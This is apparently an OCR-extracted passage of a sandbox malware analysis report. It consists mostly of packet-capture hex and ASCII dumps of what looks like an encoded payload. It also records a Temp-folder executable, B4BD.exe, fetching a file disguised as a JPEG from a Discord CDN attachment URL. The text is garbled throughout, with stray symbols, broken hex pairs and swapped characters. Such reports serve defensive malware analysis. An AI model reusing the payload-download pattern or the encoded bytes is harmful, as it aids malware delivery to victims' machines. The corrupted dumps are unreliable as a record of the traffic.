Data Ascii: O ggm O WE O WJ O XO O qgm O WE O WE O gqgm O WO O qJO O DM O DX O mX O Xm O XO O ME O
XJ O qOD O qgDb O mM O DE O Ep O qgX O ED O MM O qgE O MO O MX O ggg O XX O DX O Wm O Xq O DW O bW
O DX OggM O Xm O XO O EJ O gqqq O Wq O DX OWm O XqO DW O DD O qOJOE

2021-10-29 18:29:04 UTC 831 IN Data Raw: 20 45 4f 20 4f 20 71 71 4d 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 71 4a 4f 20 4f 20 71 4f 44 20 4f 20 58 4d 20 4f
20 58 58 20 4f 20 6d 58 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 45 71 20 4f
20 71 71 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 58 20 4f 20 71 71 6d 20 4f 20 45 71 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 45 4f 20 4f 20 45 4f 20 4f 20 45 71
20 4f 20 4d 45 20 4f 20 44 58 20 4f 20 45 4d 20 4f 20 45 4f 20 4f 20 71 4a 4f 20 4f 20 6d 4d 20 4f 20 44 44 20 4f 20 57 4f
20 4f 20 4d 45 20 4f 20 44 58 20 4f 20 71 4f 71 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 4d 4d 20 4f 20 71 4f 4f 20 4f 20 44 4
4 20 4f 20 45 4f 20 4f 20 58 71 20
Data Ascii: EO O qgM O EJ O Xg O qJO O qOD O XM O XX O mX O mE O qOJ O mE O mE O XW O Eq O qqq O DW
OME O EqO qOp O DM O DW O DW O DX O qqgm O Eq O Ep O qqD O EO O EO O Eq O ME O DX O EM O EO O qJO
O mM O DD O WO O ME O DX O qOg O DW O Em O MM O qOO O DD O EO O Xq

2021-10-29 18:29:04 UTC 847 IN Data Raw: 20 45 4f 20 4f 20 71 4f 6d 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4a 4a 20 4f 20 45 45 20 4f 20
58 71 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 45 4f 20 4f 20 58 4f 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 58 20 4f 20 45 44 20 4f 20 57 70 20 4f 20 71 4f 70 20 4f
20 4d 58 20 4f 20 6d 58 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 57 6d 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 71 4f 6d 20 4f
20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 71 71 20 4f 20 71 4f 57 20 4f 20 45 44 20 4f 20 4d 4f 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 45 45 20 4f 20 4d 4d 20 4f 20 45 4f 20 4f 20 57 70 20 4f 20 45 4f 20 4f 20 71 4f 6d 20 4f 20 44 44 20 4
20 44 57 20 4f 20 45 71 20 4f 20
Data Ascii: EO O qOm O DD O DW O EO O gqJJ O EE O Xg O DW O DX O gqqg O EO O XO O qJJ O mE O mE O WJ O
XO ODMODXOEDOWpOgOpOMXOmXODMODW O Wm O DD O MO OgqOmO mE O mE OWE O qqq O
qOW O ED O MO O DW O DW O EE O MM O EO O Wp O EO O qOm O DD O DW O Eq O
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:04 UTC 863 IN Data Raw: 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f
20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20
4f 20 4d 58 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20
Af 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4f 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 44 57 20
4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 57 20
4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57
Data Ascii: O Xq O DD O EX O DW O Eq O DM O DW O MM O ggM O DD O gqgm O DW O bw O DW O DW O DW O
DW O DD O DX O DW O Eq O WD O DW O MX O Xq O DD O qgM O DW O Eq O DM O DW O gOO O bw O bw O WO
O DW O DX O Xq O DW O EE O DW O DW O mX O DW O DX O qOp O DW O EE O DW O bW

2021-10-29 18:29:04 UTC 879 IN Data Raw: 20 58 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 4d 20 4f
20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20
44 57 20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 44
57 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44
57 20 4f 20 58 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20
44 57 20 4f 20 58 4f 20 4f 20 44 57 20
Data Ascii: XO O qOp O DW O DW O DW O DX O qgM O DW O ME O Xq O DD O mX O DW O Eq O XW O DW O MX
O Xq O DW O mp O DW O DW O mX O DW O DE O qOp O bw O bw O bw O bw O bw O bW O XO O bw O bw O
gqOX O DW O EJ O EE O DW O XO O qOp O DW O qOX O DW O EJ O EE O DW O XO O bW

2021-10-29 18:29:04 UTC 895 IN Data Raw: 44 20 4f 20 4d 4f 20 4f 20 58 44 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 4f 20
4f 20 71 4f 58 20 4f 20 71 4f 4f 20 4f 20 45 4f 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 4d 58 20 4f 20 57 4f 20 4f 20 45 58
20 4f 20 71 41 58 20 4f 20 4d 4d 20 4f 20 57 71 20 4f 20 45 58 20 4f 20 58 57 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 6d 4d
20 4f 20 71 41 58 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71
4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 2
058 71 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f
20 58 71 20 4f 20 44 57 20 4f 20
Data Ascii: D O MO O XD O MM O DW O DW O DM O gOO O ¢OX O qOO O EO O DD O qJq O MX O WO O EX O qOX
O MM O Wq O EX O XW O ME O XE O mM O qOX O MM O ggM O DD O Wq O DW O Eq O gOE O DW O MX O qOp O
DD O ¢qJJ O DW O EJ O Xq O DW O XM O Xg O DW O qqE O DW O Eq O Xq O DW O

2021-10-29 18:29:04 UTC 911 IN Data Raw: 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 71 4a 4a 20 4f 20 4d 45 20 4f 20 58 45
20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 71 71
4d 20 4f 20 45 6d 20 4f 20 71 71 44 20 4f 20 58 4d 20 4f 20 58 45 20 4f 20 71 4a 4f 20 4f 20 71 71 57 20 4f 20 4d 58 20 4f
20 57 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 71 4f 4f 20 41
20 57 4f 20 4f 20 45 58 20 4f 20 71 4a 4a 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 4d 58 20
4f 20 44 57 20 4f 20 44 58 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 6d 4d 20 4f 20 71 4f 58 20 4f 20 4d 58
20 4f 20 58 45 20 4f 20 45 58 20
Data Ascii: O qOJ O gOO O WO O EX O qJJ O ME O XE O EX O qgD O MM O DW O DW O DW O mM O ggM O Em O
gD O XM O XE O ¢qJO O ggW O MX O WO O EE O DW O DW O DX O qOp O DX O OO O WO O EX O gJJ O qOO O
Eq O WE O mM O MX O DW O DX O MM O DW O gOM O mM O gOX O MX O XE O EX

2021-10-29 18:29:04 UTC 927 IN Data Raw: 71 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 58 45 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 58 44 20 4f 20 57 4f
20 4f 20 71 41 58 20 4f 20 71 71 45 20 4f 20 4d 4f 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 45
71 20 4f 20 57 45 20 4f 20 71 71 4a 20 4f 20 4d 58 20 4f 20 71 71 4f 20 4f 20 58 4a 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 58 4a 20 4f 20 57 4f 20 4f 20 58 44 20 4f 20 6d 58 20 4f 20 58 4a 20 4f
20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4f 70 20 4f 20 45 6d 20 4f 20 58 70 20 4f 20 4d 4f 20 4f
20 58 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 58 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 58 4a
20 4f 20 44 4d 20 4f 20 45 45 20 4f 20
Data Ascii: g O DD O Xm O XE O EO O qgM O XD O WO O gOX O ggE O MO O Eq O WE O Wgq O XW O Eq OWE O q
9J O MX 0 ggO O XJ O qJJ O DW O DW O qqM O DD O XJ O WO O XD O mX O XJ O DM O EE O DW O EW O qOp
O Em O Xp O MO O XE O gJO O gOX O XM O XX O EX O gOX O XJ O DM O EE O

2021-10-29 18:29:04 UTC 943 IN Data Raw: 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f
20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 58 20 4f 20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 71 71 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20
4f 20 44 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 71 20 4f 20 44 44 20
4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 45 70 20 4f 20 44 57 20 4f 20 44
Data Ascii: qOE O DW O DW O DW O DW O qOp O bD O DW O DE O DW O EW O qOp O DW O DW O DW O DX O
qOp O DM O DW O Ep O DW O qgW O bW O DW O DW O DW O XW O DW O Xgq O DW O qOp O DE O mX O DW O D
W O DW O DD O gqq O DD © bW O DE O DW O ED O qgM O bW O DW O DW O Ep ODW O D

2021-10-29 18:29:04 UTC 959 IN Data Raw: 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a 20 4f
20 4d 58 20 4f 20 58 4a 20 4f 20 57 4a 20 4f 20 57 70 20 4f 20 71 4f 57 20 4f 20 57 45 20 4f 20 44 57 20 4f 20 57 70 20 4f
20 71 4f 57 20 4f 20 57 45 20 4f 20 44
Data Ascii: © DW O bw © bw O bw © bw O bw O bw O bw O bw O bw O bw O bw O bw O bw O bw O bW O
bw O bw O bw O bw O bw O bw O bw O bw O bw O bw O bw O bw O bw © bw O bw O bw O bw O bW O
DW O bw O DW O bW O DW O WJ O MX O XJ O WJ O Wp O qOW O WE O DW O Wp O qOW O WE O D

2021-10-29 18:29:04 UTC 975 IN Data Raw: 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20
6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 57 57 20 4f 20 45
71 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 57 57 20 4f 20
4d 4d 20 4f 20 58 70 20 4f 20 45 6d 20 4f 20 57 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 57 70 20 4f 20 57 4a 20 4f
20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 57 70 20 4f 20 57 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 57 70 20 4f 20 71
4f 70 20 4f 20 45 70 20 4f 20 44 45 20
Data Ascii: O WD O DW O mE O mE O WD O DW O mE O mE O WD O DW O mE O mE O WD O DW O mE O mE O
WD O DW O mE O mE O WD O DW O WW O Eq O XW O qOp O qOp O Ep O DE O DW O WW O MM O Xp O Em O
WJ O qOM O gqgqq O Wp O WJ O gOM O gqgqq O Wp O WJ O qOM O gqgqgq O Wp O qOp O Ep O DE
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kBytes
Timestamp transferred

2021-10-29 18:29:04 UTC 991

Session ID Source IP

1 192.168.2.3
kBytes

Timestamp transferred

2021-10-29 18:29:05 UTC 1000

2021-10-29 18:29:05 UTC 1001

2021-10-29 18:29:05 UTC 1002

2021-10-29 18:29:05 UTC 1002

2021-10-29 18:29:05 UTC 1003

2021-10-29 18:29:05 UTC 1005

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49793

Direction

ouT

IN

Data

Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44,57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 45 45 20 4f 20 71 4a
71 20 41 20 71 71 44 20 4f 20 57 4a 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 20 71 4f 58 20 4f 20 57 4a 20 4f 20 57 57 20 4f
20 71 4a 71 20 4f 20 71 4f 58 20 4f 20 57 4a 20 4f 20 57 57 20 4f 20 71 4a 71 20 4f 20 71 4f 58 20 4f 20 57 4a 20 4f 20 57
57 20 4f 20 71 4a 71 20 4f 20 71 4f 58

Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW

O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O WE O EE O qJq O qgD O WJ

O WW O qJgq O gOX O WJ O WW O gJg O gOX O WJ O WW O gJg O gOX O WJ O WW O gJg O qOX

Destination IP Destination Port Process

162.159.135.233 443 C:\Users\user\AppData\Local\Temp\B4BD.exe

Data

GET /attachments/893177342426509335/903575519373697084/F83CB811.jpg HTTP/1.1
Host: cdn.discordapp.com

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:29:05 GMT

Content-Type: image/jpeg

Content-Length: 257637

Connection: close

CF-Ray: 6a5e77a2e81868ec-FRA

Accept-Ranges: bytes

Age: 32505

Cache-Control: public, max-age=31536000

ETag: "3943342e1b45e890a729310467090869"

Expires: Sat, 29 Oct 2022 18:29:05 GMT

Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1635499591484284

x-goog-hash: crc32c=wAW+Ig==

x-goog-hash: md5=OUMOLhtF6JCnKTEEZwklaQ==

X-goog-metageneration: 1

X-go0g-storage-class: STANDARD

X-go0g-stored-content-encoding: identity

X-goog-stored-content-length: 257637

X-GUploader-UploadID: ADPycdsh_0GH4h67GfM4DXv45AAKX5J9KadQOaolgeenVA8XggFohgRrUig2qws-RHRU
WddueA29G7svclC2IfMWyq3dEjwegQ

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints”:[{"url":"https:V\/a.nel.cloudflare.comVireport\/v3?s=XY GEOW4NB%2BNGA8sjSbrZx5m8DkhJhS
3118MZz0SBICEmM6WENC4s4Sk%2BHQ%2ByOvr%2BmzY AtBLX%2FPafsOhe0sObKOP5RsrcJBAMCcQcOjHogBMxJIBHi
MUHA0bm8j9R6LcbIKPe%2BIw%3D%3D"}],"group”:“cf-nel*,"max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f 20 41
20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f 4f 20
4720 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20 58 4f
20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 4f
4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 58 20 4f 20 71 4f 71 20 4f 20 57 44 20 4f 20
58 4f 20 4f 20 6d 45 20 4f 20 58 44 20 4f 20 57 71 20 4f 20 71 71 58 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20
71 4f 4F 20 4f 20 57 57 20 4f 20 71

Data Ascii: O ggM O mE O WE O XX O gOg O WD O XO O mE O XD O Wq O ggX O DX O mE O mM O qOO O WW O
ggM O mE O WE O XX O qOgq O WD O XO O mE O XD O Wq O ggX O DX O mE O mM O qOO O WW O gqM O mE O
WE O XX 0 gOg O WD O XO O mE O XD O Wq O qgX O DX O mE O mM O gOO O WW O g

Data Raw: 4d 20 4f 20 71 4f 4f 20 4f 20 57 57 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58 4f 20 4f 20 58 45
20 4f 20 57 4f 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4f 44 20 4f 20 71 4f 70 20 4f 20 71 71 4d 20 4f 20 44 58 20 4f 20
6d 45 20 4f 20 58 6d 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 4d 4d 20 4f 20 6d 45 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 71
71 4f 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 45 4a 20 4f 20 44 4d 20 4f 20 58 4f 20 4f
20 71 71 4a 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 45 4a 20 4f 20 71 71 4a 20 4f 20 71 4f 70 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 57 4f 20 4f 20 71 4f 6d 20 4f 20 45 4a 20 4f 20 58 58 20 4f 20 71 71
4f 20 4f 20 6d 45 20 4f 20 71 71

Data Ascii: M O gOO O WW O qgM O mE O WE O XO O XE O WO O mE O mp O qOD O qOp O qgM O DX O mE O Xm
ODE O mXOMMOmE O EgO XW O qgqO O EXO gqgX O qOO O qOW O EJ O DM O XO O qgqJ O DX O Xgq O XW O
EJ O qqJ O qgOp O DW O DW O DW O DE O WO O qOm O EJ O XX O qqO O mE O qq

Data Raw: 20 4f 20 6d 45 20 4f 20 57 70 20 4f 20 57 6d 20 4f 20 71 71 4f 20 4f 20 71 71 57 20 4f 20 58 4f 20 4f 20 57 45
20 4f 20 71 4a 4f 20 4f 20 71 4f 4f 20 4f 20 45 4a 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6¢
45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 71 71 45 20 4f 20 71 71 6d 20 4f 20 71 71 70 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 71 71 71 20 4f 20 57 6d 20 4f 20 45 4d 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20
4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f
20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20
6d 45 20 4f 20 6d 45 20 4f 20 6d 45

Data Ascii: O mE O Wp O Wm O gqO O gqqW O XO O WE O qJO O qOO O EJ O qOD O mE O mE O mE O mE O mE O
mE O Wm O qgE O ggm O qgp O mE O mE O qqqg O Wm O EM O qOD O mE O mE O mE O mE O mE O mE O mE O
mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:05 UTC 1006 IN Data Raw: 20 6d 4d 20 4f 20 71 71 44 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 71 71 20 4f 20 57 4a 20 4f 20 45 45 20
4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 4f 20 4f 20 71 4f 58 20 4f 20 71 4f 57 20 4f 20 58 71 20 4f 20 58 4f 20 4f 20 6d 70 20
4f 20 45 44 20 4f 20 58 58 20 4f 20 71 4f 4d 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 57 4a 20
4f 20 58 4a 20 4f 20 71 71 4d 20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 45 57
20 4f 20 71 4a 71 20 4f 20 45 4d 20 4f 20 58 4d 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d
45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 6d 45
20 4f 20 57 45 20 4f 20 6d 45 20 4f
Data Ascii: mM O gqgD O gqgX O mE O gqqq O WJ O EE O DW O mE O WO O gqOX O qOW O Xg O XO O mp O ED O XX
OgOMOEJO mME O Em O XqO WJO XJ O qgM O Xgq O qgM O ED O DW O DX O EW O gJq O EM O XM O gqgm O
mE O mE O mE O mE O mE O mE O mE O Wgq O mE O mE O XO O mE OWE OmEO

2021-10-29 18:29:05 UTC 1007 IN Data Raw: 4f 20 58 4a 20 4f 20 57 4a 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20
6d 45 20 4f 20 6d 70 20 4f 20 45 57 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 57 6d 20
4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 71 58 20 4f 20 71 71 6d 20 4f 20
57 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d
45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45
20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20
4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d
Data Ascii: O XJ O WJ O mE O mE O mE O mE O mE O mE O mp O EW O qOW O qgq O ggm O mE O Wm O mp O
qgX O ggm O mE O mp O qgX O ggm O Wm O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O mE O
MEOMEOMEOMEOMEOMEOMEOMEOMEOMEOMEOMEO MEOMEO MEOm

2021-10-29 18:29:05 UTC 1009 IN Data Raw: 4f 20 44 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 57 57 20 4f
20 6d 45 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 44 4d 20 4f 20 45 44 20 4f 20 6d 4d 20 4f 20 71 4f 57 20 4f 20 58 57 20
4f20 71 4f 70 20 4f 20 44 57 20 4f 20 6d 58 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 57 57 20 4f 20 71 4f 4f 20 4f 20 45 4a
20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 58
58 20 4f 20 58 45 20 4f 20 71 4a 71 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20 71 4a 4f 20 4f 20 4d 4d 20 4f 20
45 4a 20 4f 20 6d 45 20 4f 20 71 71 58 20 4f 20 4d 58 20 4f 20 6d 45 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20
71 71 4f 20 4f 20 71 71 45 20 4f 20
Data Ascii: O DW O XO O WE O OO O Xq O qOW O WW O mE O EE O gOW O DM O ED O mM O qOW O XW O qOp
O DW O mX O mE O mM O WW O qOO O EJ O mE O Wm O qOg O qOD O XO O mE O WE O XX O XE O qJq O XO O
